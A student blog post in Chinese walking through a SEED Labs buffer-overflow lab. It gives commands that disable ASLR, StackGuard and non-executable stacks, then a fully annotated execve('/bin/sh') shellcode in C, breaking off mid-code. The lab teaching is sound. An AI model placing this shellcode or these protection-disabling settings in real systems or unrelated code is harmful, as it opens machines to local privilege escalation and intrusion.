写本文的万恶之源是提前到七月份的暑期学校,大二忙了一整年,本来以为终于可以好好休息下了,结果万恶的暑期学校被提前到七月份了,好不容易熬到七月底准备放假,又遇上疫情(摊手)。大部分学生都被关在学校,本人通过一点小技巧逃回了家(小声
回家本来打算当条咸鱼了,想到同学们还在学校奋战,于是乎把自己认为暑期学校学的为数不多的有用的东西写成博客发出去,这也算是我大二转到码之后写的第一篇博客吧,写的不好希望大家能多多包涵~
本来实验要求是用SeedUbuntu20.04,用Docker完成服务器环境上的缓冲区溢出攻击。由于本人上课摸鱼,没听到docker怎么搞,属实是懒狗一条,就用16.04做无脑版本了…
一.关闭防御措施
1.关闭地址随机化
在终端输入以下指令,关闭地址随机化,简化实验
sudo sysctl -w kernel.randomize_va_space=0
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pGSotDs5-1628162094726)(1.png)]
2.关闭StackGuard防御机制
在编译c文件时加入以下参数
gcc -fno-stack-protector example.c #-fno-stack-protector选项关闭了StackGuard防御机制
3.关闭不可执行栈防御机制
在编译c文件时加入以下参数
gcc -z execstack -o test test.c #-z execstack指定了栈可执行
3.改变/bin/sh指向zsh
避免在shell中运行时自动放弃特权
二.运行shellcode
运行以下代码
/* call_shellcode.c */
/*
设置四个寄存器eax,ebx,ecx,edx
eax保存execve的系统调用号11
ebx保存命令字符串的地址/bin/sh
ecx保存argv地址,argc[0]="/bin/sh",argv[1]=\0
edx保存传递给新程序环境变量的地址,此处为0
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
//设置ebx
"\x31\xc0" //xorl %eax,%eax,利用异或操作将eax设置为0,避免在code代码中出现0
"\x50" // pushl %eax 将/bin/sh末尾结束符0先压栈
"\x68""//sh" // pushl $0x68732f2f 把//sh压入栈中
"\x68""/bin" // pushl $0x6e69622f 把/bin压入栈中,此时/bin/sh字符串已经完全压入栈中,esp栈帧指针指向字符串起始位置
"\x89\xe3" // movl %esp,%ebx 将esp赋给ebx
//设置ecx
"\x50" // pushl %eax 设置argv[1]
"\x53" // pushl %ebx 设置argv[0],此时esp指向argv首地址
"\x89\xe1" // movl %esp,%ecx 将esp赋给ecx
//设置edx
"\x99" //cdq 间接设置edx为0
//设置eax
"\xb0\x0b" // movb $0x0b 将eax寄存器的值设置为11(exec的系统调用号)
"\xcd\x80" // int $0x80 调用该系统调用
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy